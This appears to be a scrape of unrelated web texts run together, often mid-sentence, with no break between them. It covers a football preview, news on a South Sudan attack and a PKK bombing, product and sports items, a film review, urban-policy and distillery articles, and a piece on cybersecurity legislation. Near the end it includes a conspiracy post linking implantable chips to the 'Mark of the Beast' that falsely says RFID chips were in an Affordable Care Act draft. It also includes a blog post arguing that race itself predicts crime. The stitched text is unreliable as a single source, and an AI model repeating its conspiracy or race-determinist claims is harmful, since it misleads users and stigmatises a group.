QPR: LLDLLD
Arsenal: WWWDWD
Possible starting lineups
QPR: Green; Onuoha, Hill, Bosingwa, Traore; Granero, Jenas, M'bia, Taarabt; Remy, Bothroyd
Arsenal: Szczesny; Sagna, Mertesacker, Koscielny, Gibbs; Arteta, Ramsey, Rosicky; Cazorla, Walcott, Podolski
Sports Mole says: 0-3A contingent of United Nations peacekeepers and the U.S. embassy failed to respond to multiple calls for help from a group of aid workers under attack in South Sudan, according to an Associated Press report published Monday.
The assault on the Terrain hotel complex was perpetrated by South Sudanese government troops July 11. Soldiers singled out U.S. citizens before gang-raping several women, beating aid workers and executing a local journalist, while forcing others to watch.
“All of us were contacting whoever we could contact. The U.N., the U.S. embassy, contacting the specific battalions in the U.N., contacting specific departments,” said one woman who was raped by as many as 15 men.
Records collected by the AP show that the U.N. Joint Operations Center in the South Sudanese capital of Juba was contacted about the attack at 3:37 p.m., just minutes after it began. Several other reports followed, but a quick reaction force was not mobilized by the U.N. Department of Safety and Security until 4:33 p.m. That team would never arrive. The timeline went blank for an hour and a half, ending with the words “DSS would not send a team” at 6:52 p.m.
After an Ethiopian team also failed to respond, South Sudan finally sent a detachment to collect the victims, though three women would not be rescued until the following morning.
“Everyone refused to go. Ethiopia, China, and Nepal. All refused to go,” said a U.N. worker who made the calls for help.
Farhan Haq, the U.N. secretary-general’s deputy spokesman, said the U.N. has called on local authorities to investigate the matter and “bring the perpetrators to justice.”
Gian Libot, a Filipino citizen who was present during the attacks, recalled one of the soldiers specifically targeting Americans.
“He definitely had pronounced hatred against America,” Libot told the AP. “You messed up this country. You’re helping the rebels. The people in the U.N., they’re helping the rebels.”
The U.S. embassy, which also received distress calls during the attack, “was not in a position to intervene,” Department of State spokeswoman Elizabeth Trudeau told reporters Monday, though it apparently passed along the information to South Sudanese officials.
U.S. Ambassador to the U.N. Samantha Power has requested an investigation as to why peacekeepers failed to respond, and has demanded “swift corrective action.”
“Throughout this three-year conflict, the Government of South Sudan has routinely allowed impunity for murder and sexual violence,” said Power in a statement Monday. “This must end. South Sudan’s leaders must investigate this incident and hold accountable the individuals responsible for these cowardly and brutal assaults.”
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.With their substantial amount of storage space, Transcend's JetDrive Lite expansion cards provide plenty of space to backup, store, and carry personal documents, photos, movies, and music.
[...]
When inserted into the card slot of a compatible MacBook Pro with Retina display or MacBook Air, the low-profile JetDrive Lite will not stick out like an SD card and can be left in place for on-the-go storage.
Transcend has introduced new JetDrive Lite expansion cards designed to increase the storage capacity of the MacBook Air and the MacBook Pro with Retina display. The cards provide up to 128 GB of additional storage for less than $100.The new JetDrive Lite expansion cards are tailor-made with a flush design that matches the case form factor of both the MacBook Air and Retina MacBook Pro models. This on-the-go storage solution offers read and write speeds of 95MB/s and 60MB/s, respectively.The company offers separate products for the different MacBook models due to design differences between the machines. While the 13-inch MacBook Air and the 15-inch Retina MacBook Pro can be upgraded to 64 GB and 128 GB capacities, the 13-inch Retina MacBook Pro is limited to 64 GB.The JetDrive Lite Series of expansion cards are available now with prices starting at $49 for the 64 GB version and $99 for the 128 GB capacity card."Fish hook? Well, you have to give Bryan the benefit of the doubt. I hope he didn't do that on purpose, but things happen I guess. The bottom line is, ‘Goyito' made a mistake, and he learned from that mistake, I hope. We won't be shooting from across the cage again. I think that shooting in from far away and stuff like that is just ‘Goyito' getting his feet wet, so it was a learning experience for him. I thought we were winning the fight until then and Caraway did a great job of capitalizing on a mistake."
Famed mixed martial arts (MMA) trainer Greg Jackson takes the high road after learning that one of his pupils, Erik Perez, was victimized by Bryan Caraway via fish hook, prior to locking up a fight-ending submission at the UFC Fight Night 42 event last Saturday night in Albuquerque, New Mexico (results). "Kid Lightning" feigned ignorance at the "Henderson vs. Khabilov" post-fight press conference (watch it here), and Jackson is not going to hold it against him. How about you?The silence of God – or the deafness of man – is the theme of Martin Scorsese’s epic new film about an ordeal of belief and the mysterious, ambiguous heroism involved in humiliation and collaboration. It is about an apparent sacrifice in the service of the greater good, and a reckoning deferred to some unknowable future time. The possibility of reaching some kind of accommodation with the enemy, and not knowing if this is a disavowal of pride or a concession to the greatest sin of all, is a topic that Scorsese last touched upon in The Last Temptation of Christ in 1988, in which Jesus sees a future of peace and ordinary comfort.
Silence is a drama about Christian martyrdom, and like all such films, from Carl Dreyer’s The Passion of Joan of Arc to Fred Zinnemann’s A Man for All Seasons, it must address an atheist counter-sensibility aware that the Catholic Inquisition itself saw no difficulty in putting perceived heretics to death, and that arguably their own martyrs are therefore ineligible for lenient humanist sympathy. In fact, in this movie there is a fierce debate about the opposition of Christianity and Buddhism, of Europe and Asia, and about the relativism of faith.
Martin Scorsese film recalls martyrdom of Japan's hidden Christians Read more
Silence is not without flaws. Perhaps the casting of its stars, Andrew Garfield and Adam Driver, could have been reversed, to place more emphasis on Driver as the stronger performer, though Garfield’s boyish screen personality becomes haunted and complex. There is something a little broad about the moments in which a priest sees visions of Christ in himself. Yet with ambition and reach, and often a real dramatic grandeur, Scorsese’s film has addressed the imperial crisis of Christian evangelists with stamina, seriousness and a gusto comparable to David Lean’s.
The picture is adapted by Scorsese and screenwriter Jay Cocks from the celebrated 1966 novel Silence by the Japanese Catholic author Shūsaku Endō. It has in fact been filmed twice before, by Masahiro Shinoda in 1971 and João Mario Grilo as The Eyes of Asia in 1994.
Facebook Twitter Pinterest Haunted … Andrew Garfield as Father Rodrigues. Photograph: Paramount
In 17th-century Lisbon, two fiercely committed missionary priests, Rodrigues (Andrew Garfield) and Garrpe (Adam Driver), are told disturbing news by their confessor Valignano (Ciarán Hinds) concerning their much loved and admired mentor figure, Ferreira (Liam Neeson). Ferreira had journeyed to Japan many years before to challenge its brutal suppression of Christianity and to spread the word, but has now reportedly been forced to recant his faith under torture, and is living as a Buddhist with a Japanese wife and children. Astonished and outraged, the two young Jesuits refuse to believe it and demand to be allowed to travel to Japan to track him down and discover the truth.
Scorsese shows that their journey has something Conradian about it, and that Ferreira is a kind of Kurtz figure, albeit a Kurtz who has achieved nothing like a colonial kingdom. As the two men make their furtive landfall in Japan, they make tensely secret contact with fugitive believers who live in terror of being found out, and the priests entertain an orientalist stereotype of the supposed Japanese inscrutability: “Secrecy has made their faces into masks.”
Martin Scorsese meets Pope Francis 30 years after Christ film row Read more
Rodrigues and Garrpe seem like the proselytisers of the early Christian church, or even the apostles themselves. Driver’s gaunt and blazingly passionate face even makes him look a little like the traditional rendering of Jesus. But the examples of Judas the betrayer and Peter the denier are the ones that suggest themselves. Because everywhere, the authorities are crushing Christian communities, offering rewards for informers, and the priests’ mere presence brings their congregants into terrible danger. Suspected believers are ordered symbolically to trample a figure of Jesus underfoot: sometimes the inquisitor will be content with a relatively perfunctory step on the figure, but for more serious dissidents, spitting on the crucified Christ is needed. And there is the cruelty of torture and martyrdom: Christians can be lowered into a pit to bleed to death, or crucified in the surf for a quasi-drowning ordeal, or burned at the stake.
But Rodrigues is to come into contact with the sinuously calm, even almost charming Inquisitor Inoue and his interpreter (excellent performances from Issey Ogata and Tadanobu Asano), whose purpose is far more subtle: to show what torture looks like – rather as the Inquisition simply showed Galileo the instruments of cruelty – but then persuade the priest to renounce Christianity on rational grounds. Playing their strongest card, they produce poor, mortified Ferreira, who after years of threats and indoctrination has internalised his captors’ views, denying that the Catholic church was ever believed in that country, and claiming that the Japanese had simply followed a muddled, pantheistic sun-worship sect and mistook it for Christianity.
All the time, the priests are tormented by God’s silence, and the question of whether this is the same as absence, or if God’s refusal to intervene has become an unimaginable and intolerable cruelty. “How can I explain his silence to these people?” As the drama continues, the silence is broken for Rodrigues: but it is, ambiguously, a voice in his own head, giving him advice similar to that which he had himself given to cowering Japanese peasants early in the story.
Silence is a movie of great fervour that resolves itself into a single thought: if a believer is forced to recant, yet maintains a hidden impregnable core of secret faith, a hidden finger-cross, is that a defeat or not? God sees all, of course, including the way a public disavowal of faith has dissuaded hundreds or thousands from believing. Is the public theatre of faith more important than a secret bargain with a silent creator? It is a question kept on a knife-edge. Martin Scorsese’s powerful, emotional film takes its audience on a demanding journey with a great sadness at its end.
• Silence is released in the US on 23 December, in the UK on 1 January and in Australia on 16 JanuaryThe "inclusive city" movement aims to integrate the poor into the urban bloodstream, instead of shunting them from sight. (Photo11: Corbis)
Skyscrapers and shanties, gleaming malls and run-down markets, palatial houses and the poor guys who build them: those are the divides in cities like Mumbai, Nairobi and Manila. Rich and poor do not much mingle.
But a movement's afoot to change that. It aims to integrate the poor into the urban bloodstream, instead of shunting them from sight. For this "inclusive cities" movement, urban renewal doesn't require razing slums and markets. Instead, a world-class city embraces its informal workers, those who work for cash and usually lie outside the tax system, uncounted.
Some shining examples: Bogotá recently incorporated 15,000 informal trash pickers into its municipal rubbish and recycling program. In February, India's parliament passed a law to regulate and protect street vendors, and last year saw the creation of the first worldwide domestic workers union.
The poster child for inclusive-city efforts is Medellín, the Colombian city where a 1,300-foot escalator links hillside shanties with the city's commercial center. Credited with fostering the city's renaissance, the escalator is the centerpiece of a transport network that includes cable cars and trains and a living metaphor besides: a ladder from poverty to economic opportunity.
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The inclusive-cities movement is small but gathering momentum, even as people within it debate what inclusiveness really means. This year's gathering of the UN's World Urban Forum focused on equity in the developing world, while the Fletcher School of Diplomacy's annual inclusiveness forum focused on cities. Grassroots groups and networks have long championed the plight of the informal worker, but recently a glossier benefactor stepped in: finance behemoth MasterCard last year launched a think tank called the Center for Inclusive Growth.
"The success or failure of the human species will be determined in cities," says Yuwa Hedrick-Wong, of the Center, explaining MasterCard's interest in inclusive cities. Rapid urbanization over the past 50 years — with more to come — as well as a sense of growing inequality are to credit for the focus on inclusive cities.
As of 2010, the majority of humankind lives in cities, rather than in rural areas. "Humanity is now an urban species," says Hedrick-Wong. The proportion of city dwellers is rising. It's expected to reach 70 percent by 2050, and most of that urban growth will happen in the developing world.
Who's building and maintaining the infrastructure in the developing world's megacities? Usually it's informal laborers — construction workers, welders, ditch diggers, trash pickers, domestics and gardeners. (In India, for instance, four out of five workers are in the informal sector.) Many migrate from the countryside, and while the city generally offers them a better income than they had at home, most barely scrape by. Nearly 900 million people lived in urban slums in 2012, according to UN-Habitat.
Which is one reason inequality is on such vivid display in the cities. Just for stability's sake, politics needs to respond to informal workers, observers say: The threat of protests and demonstrations challenging political authority is greater in cities than in the countryside. "The economic growth in cities is rarely inclusive," says Oren Ahoobim, of Dalberg Global Development Advisors, a consultancy. "With the resulting inequality you'll get more people showing up on the streets to advocate for policies that let them tap into that growth— and that's part of what's driving this thinking."
The question at the heart of this nascent movement is what it means to include informal workers. Does it require formal sector job creation (not often feasible), or does it allow a "harm-reduction" approach that makes life in the informal sector more bearable?
"It's really a field in the making," says Sally Roever, urban research director of WIEGO, a global network of women in the informal economy. "There just aren't legions of city planners who have a good grasp on how the informal economy works and how it fits in with the formal economy."
For WIEGO and other grassroots groups, inclusion means things like recognizing informal workers, protecting them from displacement and extortion, and providing health and pension benefits. For the World Bank and others, inclusion often means getting informal workers to pay taxes, access loans and participate in the formal consumption market, says Roever.
For Hedrick-Wong, though, it's not either-or. "Actually, it's good for business, too. When growth is not broadly shared, it tends not to be sustainable."
Although inclusiveness is a growing political concern for leaders, it's not without risks, as the case of Bogotá Mayor Gustavo Petro suggests. In 2012, the controversial leftist moved to incorporate the city's informal trash pickers into the official economy, which would reduce its reliance on private collectors. The hand-off was bungled. For three days, mountains of garbage piled up on the city streets. In December 2013, the country's inspector general removed Petro from office and banished him from politics for 15 years, alleging he violated the principles of free competition and threatened public health. Uproar ensued. The Inter-American Commission of Human Rights protested. The man was eventually reinstated, and for the moment, Bogotá's waste-pickers are still on the job.
For now, the movement to redefine the world-class city still has a very long way to go. Markets and slums are still routinely razed, and so far, poor-friendly transit remains rare. Says Ahoobim: "It would be great if we had 10 other examples we could talk about, but we always talk about Medellín."
At least, we suppose, until another city builds a more resplendent ladder from poverty.
Ozy.com
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Read or Share this story: http://usat.ly/1lT67lMHooray, hooray, it's gifting day! It's only Tuesday but it's been a long week already, so when I heard there was a package waiting for me, I couldn't wait to get home!
Immediately upon opening it, I was inundated with blue! Sitting on top of layers of delicate blue tissue paper was a card covered in blue butterflies with a lovely message identifying /u/kellou87 as my santa.
I started to excavate the gift from within the layers of paper, each layer revealing new treasures in shades of blue. Pens and a pencil case to store them in (blue AND glitter, it doesn't get better than that!) a pack of mentos, lip balm, and a note book.
Next up was a blue canvas bearing the quote "Shoot for the moon - even if you miss you'll land among the stars". A 2015 Teacher's calender full of funny and inspirational quotes and little puzzles.
Right at the bottom was a beautiful blue votive with gold decorations, and, lastly, a iridescent blue geode! I squealed at this last item - I love crystals/minerals and have been known to spend hours examining the extensive collection at my local museum. Actually, I squealed so loud that one of my dogs started growling at me, demanding that she be allowed to see what was so interesting! Although the box said it was a quartz geode, it appears to be a metal, possibly titanium or borite - further research is required! (EDIT: It's called a Titanium Aura Rainbow Quartz. It's quartz that has been put in a vacuum with titanium and niobium, which coats the crystal!)
Thank you so much Kellou87! This has been my first exchange after a long time of not being able to afford them, and I couldn't be happier! Big hugs to you and your family!This is a story about a 7 year old boy, Gavin Pierson. He lives in the Twin Cities (Minneapolis/St. Paul, MN) with his Mom, Dad, Sister and Brother. A year and a half ago he was diagnosed with a brain tumor.
Gavin went through many surgeries and nothing seemed to be working for him. His diagnosis wasn’t good. There was a drug that his doctor wanted to use on him to try to shrink the tumor, however, the drug had never been used on children and it was a while before they could get the Pfizer Company to approve using it on him.
Finally, it was approved and it did shrink the tumor enough that he could finally have laser surgery to bust up the tumor. Gavin has named his tumor “Joe Bully.” He had surgery a little while back and has been doing fantastic. He has even been back in school full time.
Last week, Gavin got sick and was rushed to the hospital to find out he now has a blood clot on his brain. It is very serious, but he is doing better and may go home tomorrow. You ask why are we putting this on a wrestling site? Gavin is a huge wrestling fan and his favorite wrestler is John Cena.
John found out earlier in the year about Gavin and made a phone call to him. Can you imagine how excited that little boy was? John also sent him many autographed items from him.
This past Saturday, Gavin was supposed to meet John Cena, one of his big dreams, but since he was hospitalized he just couldn’t make the trip. Gavin is one of the sweetest little boys that I have ever met.
John Cena didn’t waste any time getting the championship belt to our little buddy, Gavin Pierson…..wow … what a championship belt to have…Gavin is so happy!
He is so kind hearted and loves everyone. Gavin has never given up. So I need not say more, just watch the video! After watching this video to read about Gavin’s last year and a half you will want to go to his website. He is amazing!
CLICK HERE TO LEARN MORE ABOUT GAVINWe take a look at Scotland's newest distilleries, including those already producing, those under construction and even those that are still just at the planning stages.
There is something magical about the creation of whisky, something akin to alchemy in the turning of crystal clear water into liquid gold.
The practice of distilling would have been as common two or three hundred years ago as the practice of crop farming or raising live stock. In fact by the 1820s, as many as 14,000 illicit stills were being confiscated every year.
The introduction of the Excise Act in 1823, which allowed the distilling of whisky in return for a set licence fee and payment per gallon of proof spirit, changed the industry forever.
Illicit stills became rarer and rarer as the production of Scotch whisky grew in the multi-billion industry we know and love today.
Thankfully though, the Scots love for tinkering, innovation and great whisky, has saw something of a revival in that desire to distil and now more and more distilleries (not just whisky but gin and vodka too) are appearing up and down the country.
Be they new ventures like Eden Mill and Raasay, the product of the success of independent bottlers like Ardnamurchan and Kingsbarns or new additions to existing stables like Aisla Bay and Rose Isle, the future of distilling in Scotland certainly looks bright.
In fact, over the last five years, the HMRC have granted nearly 150 distilling licences, a large portion of these will be for vodka and gin but it does go to show just how many new distilleries are being planned or constructed in Scotland.
The SWA have reported that despite a “slowdown in exports”, the Scotch Whisky industry is “expanding at unprecedented levels” with around 30 new distilleries being planned or built across the country.
Rosemary Gallagher, Scotch Whisky Association head of communications, said: “There is great confidence in the future of the Scotch Whisky industry which is reflected in the amount of distillery projects being announced. There is about £2 billion of investment in infrastructure committed by the industry over the next couple of years, and we know of about 30 to 40 new distilleries at various stages of planning and building. Some projects are from bigger companies already involved in the industry, and others are start-ups from new entrants. We are pleased to see this level of interest in Scotland’s national drink.”
We’ve taken a look at some of these new kids on the block to find out a little more about them. Here are some of Scotland’s newest whisky distilleries:
Abhainn Dearg
Status: Open and producing
Established: 2008
Owners: Mark Tayburn
Region: Highlands (Islands)
Replacing Kilchoman as the most westerly distillery, Abhainn Dearg (pronounced Aveen Jarræk – derived from the Gaelic for red river) is the first single malt distillery in the Outer Hebrides since 1829.
Located on Uig on the isle of Lewis, the distillery began production of spirit several years ago and has now produced its first whisky with its first ten year old due in 2018.
Ailsa Bay
Status: Opened and producing
Established: 2007
Owners: William Grants and Sons
Region: Lowlands
Work began on William Grant and Sons new distillery near Girvan (close to the site of the old Ladyburn distillery) in 2007 and was completed in 2009. Now up and running, this new work horse distillery will help to supply the massive demand for malt whisky for the Grants blend.
Interestingly four different types of spirit will be produced by Aisla Bay, including two peated ones – one of which will be around 50ppm.
Annandale
Status: Open and producing
Established: 2014
Owners: Annandale Distillery Co.
Region: Lowlands
Building work began in 2007 to try and restore the old whisky distillery in Dumfrieshire – which was closed originally in 1924, and re-opened in 2015 – the owners hope to produce two different whiskies.
The first will be a typical light lowland style whisky named ‘Man o’ Words’ inspired by Rabbie Burns, while the second will be a uniquely smoky lowland malt named ‘Man o’Swords’ which will take inspiration from Robert the Bruce, who was also the 7th Earl of Annandale.
Status: Open and producing
Established: 2014 Owners: Adelphi Distillery Ltd Region: Highlands The recent demands on liquid has seen several of the biggest independent bottlers enter into distilling. Ardnamurchan is the product of Adelphi’s decision to join this growing trend. Situated on the shores of Loch Sunart, on the Ardnamurchan peninsula, the new distillery began production in July 2014 and will produce three different styles of whisky, one from a bourbon cask, one sherried and one heavily peated. Ballindalloch Status: Open and producing Established: 2014 Owner: Ballindalloch Estate Region: Speyside The owners of Ballindalloch castle have turned an old building on their estate, dating back to 1820, into a distillery. The MacPherson-Grant family have had close ties with the whisky industry in the past and their return will see them creating an excellent new whisky in the Speyside style.
Barra
Status: Still at the planning stage
Established: N/A
Owner: Peter Brown
Region: Highlands (Islands)
This new |
would be good news, except that plant breeders have done very little collecting of locally adapted varieties from some of the most likely analog countries, such as Cameroon, Sudan and Nigeria, Burke’s team found. To cope with future climates, genetic prospectors must sample much more of the genetic diversity of crops in these countries – and those nations must then do a better job of sharing these genetic resources, says Burke.
“We’ve got to do something serious about agriculture and we’ve got to start now,” agrees Gerald Nelson, an agricultural economist who heads research on agriculture and climate change at the International Food Policy Research Institute in Washington DC.
Journal reference: Global Environmental Change, DOI: 10.1016/j.gloenvcha.2009.04.003• England midfielder hurt ankle during challenge in defeat to Barcelona • Arsène Wenger has ruled player out of Sunday’s game at Manchester United
Arsène Wenger has confirmed that Alex Oxlade-Chamberlain will undergo a scan on Thursday, amid fears that the Arsenal midfielder faces a long-term absence because of knee ligament damage.
Per Mertesacker insists Arsenal’s problem is up front, not in defence Read more
Oxlade-Chamberlain, whose participation for England at the European Championship finals in the summer could be in jeopardy, also hurt his ankle in a challenge with Javier Mascherano during the first half of the Champions League last-16 first-leg defeat against Barcelona on Tuesday night. The 22-year-old left the Emirates on crutches.
Wenger has already ruled out Oxlade-Chamberlain from Sunday’s Premier League visit to Manchester United but it is likely that he will be sidelined for rather longer.
Wenger, meanwhile, said that Gabriel will return to train with the first-team squad on Friday before the game at Old Trafford. “He is coming back into the squad tomorrow,” said the Frenchman. “So we will see how he responds to that, but the signs are positive. He might be available for Sunday.”Nine killed, more than 100 wounded in PKK attack in Turkey’s Diyarbakır
DİYARBAKIR
AA Photo
At least nine people were killed and more than 100 were wounded in an attack by the outlawed Kurdistan Workers’ Party (PKK) in the Bağlar district of the southeastern province of Diyarbakır early on Nov. 4.
“Two police officers and five citizens, one of whom was a technician, have lost their lives. One terrorist was apprehended dead,” Prime Minister Binali Yıldırım told journalists at a press briefing, adding that a bomb-laden car was detonated by the militants.
“Separatist terrorism has shown its baseless, disgusting face once again in Diyarbakır. A bomb-laden vehicle was detonated in an area where anti-terror police were stationed, where citizens were going to work, and where children were going to schools. Among the over hundred wounded, 93 have been released from hospital and the treatment of seven others is ongoing,” Yıldırım added.
President Recep Tayyip Erdoğan called Diyarbakır Mayor Hüseyin Aksoy, recently appointed by Ankara after elected mayor Gültan Kışanak was removed from office, to receive information regarding the attack.
“We won’t surrender to terror. Those who are linked to terror organizations will account for it,” Deputy Prime Minister Numan Kurtulmuş wrote on his Twitter account.
According to a statement issued by the Diyarbakır Governor’s Office, PKK militants claimed responsibility for the attack, which left massive damage on the buildings around the explosion scene. The statement added that the attack was carried out near the police headquarters in a very crowded area.
Initial examinations showed that the attack was carried out with over a ton of explosives, forming a large blast hole on the ground. Turkey’s Disaster and Emergency Management Authority (AFAD) carried out investigations in the area.
Eyewitnesses described horrific scenes, saying the bomb-laden minibus crashed into a taxi as it was heading to the entrance of the police headquarters. The minibus did not stop after the crash and kept on heading towards the police headquarters, prompting the taxi driver to follow the vehicle.
The taxi driver reportedly shouted “Bomb!” as he opened the doors of the minibus and saw explosives inside.
According to eye-witnesses, some citizens fled the scene and police took up their positions around the bus before the PKK militants detonated the vehicle.
The wounded were taken to the nearby hospitals after the explosion. It is reported that one of those injured was a baby who lost her eye and was airlifted to a hospital in the capital Ankara. Some ambulances were carrying four or five wounded people, according to eyewitnesses.
Police took strict security measures around the area, while people in detention in the police headquarters close to the area were sent to other police headquarters as a precaution.
69 operations against PKK ongoing: Ministry
The Interior Ministry, meanwhile, has announced that a total of 69 operations, from small to large scale, against the PKK are ongoing in several provinces across Turkey in the aftermath of the attack.Mumbai and Ahmedabad are both fast-growing cities. Getting between the two by rail? Not especially fast. Covering a little over 500 kilometers (310 miles) on India’s western side, the trip currently takes about eight hours and involves rickety trains.
But by 2023, it could take about two hours and involve sleek new bullet trains made with Japanese technology.
Reuters/Kyodo Japan has the technology.
India and Japan will issue a joint statement this upcoming weekend agreeing to a rail project worth about 980 billion rupee ($14.6 billion), according to the Nikkei. The statement will be released during Japanese prime minister Shinzo Abe’s three-day visit to India, which begins on Friday (Dec. 11).
In late October Japan offered India an interest rate of less than 1% for the project. The Nikkei says Abe will convey an offer of more than 1 trillion yen ($8.1 billion) in official Japanese lending, dispersed at about 100 billion yen a year over a decade or so. The deal would put India ahead of Indonesia as Japan’s largest borrower.
It would also be welcome news for Japan, which lost a high-profile competition with China to build a rail line connecting the Indonesian cities of Jakarta and Bandung. In Taiwan, meanwhile, a bullet train made with Japan’s help in 2007 has proven to be an expensive flop—one that, with passenger counts far below projections, is now getting a massive government bailout.
Indian prime minister Narendra Modi, who was elected in May 2014, made the introduction of high-speed links and bullet trains one of his key campaign promises. Before becoming prime minister, Modi was the chief minister of Gujarat—its largest city is Ahmedabad.
Japanese companies won’t be the only ones benefiting from Modi’s promises. Last month, General Electric and France’s Alstom won lucrative contracts to supply India’s railways with new locomotives. Modi’s government has said that by 2020 it will invest $137 billion in the nation’s vast but antiquated railway system, which serves 23 million passengers daily.It didn't take long for information security professionals to take to Twitter, blogs, and social media to blast the latest White House proposals for cybersecurity legislation. A small group of civic-minded professionals are calling on the industry to stop complaining and actually do something about it.
New laws, and fixing existing laws, are important and necessary. In the days leading up to the State of the Union speech, President Obama unveiled a series of proposals for new cybersecurity laws which would protect user data, such as requiring organizations to disclose data breaches within 30 days of discovery and protecting students from aggressive data collection by educational apps and services. The proposals also called for updates to existing laws to give law enforcement more authority over cybercrimes. Information security professionals agree on the basic tenets, such as encouraging information sharing, letting law enforcement prosecute cybercrime, and protecting user privacy, J.J. Thompson, CEO and founder of Rook Security, told SecurityWeek.
"We all agree with the principles, but the current proposals are currently not set up for success," he said.
The problem lies in the fact that the proposals contain problematic language which, if left in the final legislation, would "gut our capability to respond" to data breaches and other security threats, Thompson said. The wording is vague in some areas, overly broad in others, and would result in security professionals unable to "use half of our toolset," he said. For example, a proposed change in the law around computer and cell phone spying devices would make it unlawful to manufacture, distribute, possess, or advertise "electronic communication intercepting devices." The change would limit what tools defenders can use to detect and respond to attacks, even tools such as intrusion prevention systems and packet sniffers, he said. Considering these tools are standard among Fortune 500 companies, the use of these tools would put practically all of them in violation of the law.
"If any InfoSec pro is positive about the new legislative proposal, I’ve not seen it," Jeremiah Grossman, founder and CTO of WhiteHat Security wrote on Twitter last week.
The proposals were clearly not written with much input from the information security industry or by someone who understands information security, Thompson said. To address this knowledge gap, he put the text of the White House proposal on GitHub and called on industry counterparts to make revisions and to rework the proposal into a workable alternative. Members of Congress are interested in seeing something better than what the White House currently has on the table, he said.
Giving the lawmakers a better starting point will make it more likely the final law, if passed, will be something the industry can work with.
In many areas, it is clear the writers did not use the correct terms. For example, in a section discussing data breaches, there is mention of the breached company having to conduct a risk assessment. However, it's clear that the section is actually referring to forensics, noted Thompson. Without the right verbiage, organizations would wind up doing the wrong thing just to stay compliant with the letter of the law, and there will be no improvements in security and privacy, he said.
Then there is the section for modernizing the Computer Fraud and Abuse Act where the phrase "intentionally accesses a protected computer without authorization" could be "argued six ways by any infosec pro worth their salt," Thompson said. Each one of these words are problematic, starting with the difficulty in proving intent, the question of what constitutes access, and what exactly it means for a computer to be protected.
"The proposals aren't broken, but the wording doesn't help," Thompson said. "It makes it harder to do our jobs."
The laws proposed by the White House neglected to place the burden of protecting data and users on companies, Gabriel Gumbs, managing director of research and products at WhiteHat Security, told SecurityWeek. The rewrite effort would introduce corporate accountability as part of the breach notification process. "It would be in the best interest of all for the White House to take seriously this re-write initiative and solicit further contribution from the information security community," Grumbs said.
Thompson decided to use GitHub's collaboration features because it's a platform many people are already familiar with. Getting involved with writing legislation can be a difficult—and intimidating—effort, but looking at the repository and pulling changes are things that may be easier to ask of information security professionals, he said.
Thompson is already working with a group of like-minded information security experts who have expressed interest in the effort, but he would like to see more people check out GitHub and get involved. Putting the project on GitHub makes the rewrite transparent and gives anyone concerned about the proposed legislation a chance to fix the problem.
"Does anybody really care, or do they just want to complain?" Thompson said.With global events taking on a more ominous tone, people are turning to religion and the Bible for an explanation of what’s going on? Do you believe in the Mark of The Beast?
The Mark of The Beast is something the Bible refers to in the book of Revelation 13:16
It also forced all people, great and small, rich and poor, free and slave, to receive a mark on their right hands or on their foreheads
It tells of a time in the probable near future where nothing will be bought or sold without this ‘marking’. It has long been speculated what it will be. A tattoo? An arm band or head band of sorts. Now it seems modern technology has caught up with Biblical prophecy and we can truly grasp what the mark could potentially look like.
An implantable chip in one’s hand. This chip could interact with your body in the doctor’s office. Scan it, and it could tell your blood pressure, blood sugar, heart rate, or any other vital piece of information of medical history.
Go to the store and scan your hand to pay for groceries. It would be connected to your bank account and the amount deducted. No cash. No credit cards. No more fraud.
How far off is this?
Check this video from BBC:
One more…IBM has been getting the public primed for years.
IBM has been making its living off organized information before the invention of computers. During World War II they leased punch card machines to the Nazis for their concentration camps. These machines had to be serviced on site monthly. They were punch card systems that corresponded to the number tattoos on prisoners arms.
There was an early mention of RFID chips in the original draft of the Affordable Care Act, but it was found out early on and good citizens like you raised their voices and it was removed.
What this tells us is that it is real, and it’s something we need to be on the look out for in the future again.
Be sober. Be vigilant.(If you would rather listen/watch the video presentation of this, it can be found here.)
The YouTube user “Sargon of Akkad” has recently made a video entitled “Why Do Black People Commit More Crime?” in which he looks to poverty, family structure, and gang culture to explain the high rates of crime seen among African Americans.
In Sargon’s video, he correctly points out that African Americans commit crime more often than members of other races do, and that the same is true of poor people and people from single parent homes. Moreover, Blacks are far more likely to be both poor and from single parent homes than White people and so, Sargon argues, these variables explain why Blacks have such high crime rates. (I am being simplistic. If you want a fuller picture of his argument, watch his video.)
Poverty and Single Motherhood Probably Don’t Cause Crime
Though it is true that poverty and family structure correlate with crime, neither has been shown to cause crime. A non-causal relationship between crime and these variables is suggested by the fact that changes in a population’s degree of poverty and single motherhood overtime do not predict change’s in that population’s crime rate in the way that Sargon’s viewpoint would lead you to expect.
For instance, looking at the last 50 years of American history, we see that crime actually tended to decrease when the poverty rate increased (1).
This evidence coheres well with a review of 28 studies in the Handbook of Crime Correlates which found that the majority of studies showed that crime actually rises when the economy improves.
Thus, most of the longitudinal data available does not support the notion that poverty causes crime. When more people become poor, crime does not rise. This suggests that the correlation between poverty and crime is best explained by the view that there is a certain segment of the population which tends to be poor and criminal not because one variable causes the other but, rather, because some other variable, or set of variables, causes people to be both poor and criminal.
Unfortunately, I am not aware of much high quality data on the longitudinal relationship between family structure and crime. However, if we look at how these two variables changed between 1960 and 2009 we clearly do not see strong support for a causal relationship.
Luscombe (2012)
In order to address the lack of good evidence on this question, I, along with Martin Alexander of the blog OfPsychandSoceity, analyzed data from the FBI and the census on how violent crime, family structure, poverty, and racial demographics changed in 197 American cities between the years 2006 and 2014. (See notes 3 and 4 for data links).
As can be seen below, changes in the proportion of a city that was Black was the only significant predictor of changes in violent crime. Moreover, both single motherhood and poverty were negatively correlated with violent crime over time, meaning that they tended to decrease when when crime rose and rise when crime fell.
Thus, the relevant longitudinal evidence does not seem to support the contention that differences in family structure, or poverty, cause differences in crime.
Race Predicts Crime After Controlling for Poverty and Family Structure
Even if family structure and poverty do have a causal role in crime, and therefore do contribute something to the Black/White crime gap, they do not explain anywhere near the totality of the gap. We know this because the proportion of an area which is Black continues to predict its crime rate even after regional differences in family structure and poverty are controlled for.
Land, McCall, and Cohen (1990) collected data on the homicide rates of cities, standard metropolitan statistical areas (SMSAs), and states for the years 1960, 1970, and 1980. In each year they included all 50 states and every city and SMSA included in the census. They then looked at how well the following 11 variables predicted crime variation between these areas: population size, population density, percent black, percentage aged between 15 and 29, percent divorced, percent of kids without two parents, median family income, the poverty rate, income inequality, the unemployment rate, and whether or not the city/SMSA/State was in the south. All of these variables were entered into a single regression model, meaning that the estimated effect size for each variable held all other 10 variables constant. This analysis thus produced 9 total models explaining crime variation in cities, SMSAs, and states, across 3 decades. In all but one model, the proportion of an area that was Black continued to have a strong relationship with crime even after the other 10 variables in the study were held constant.
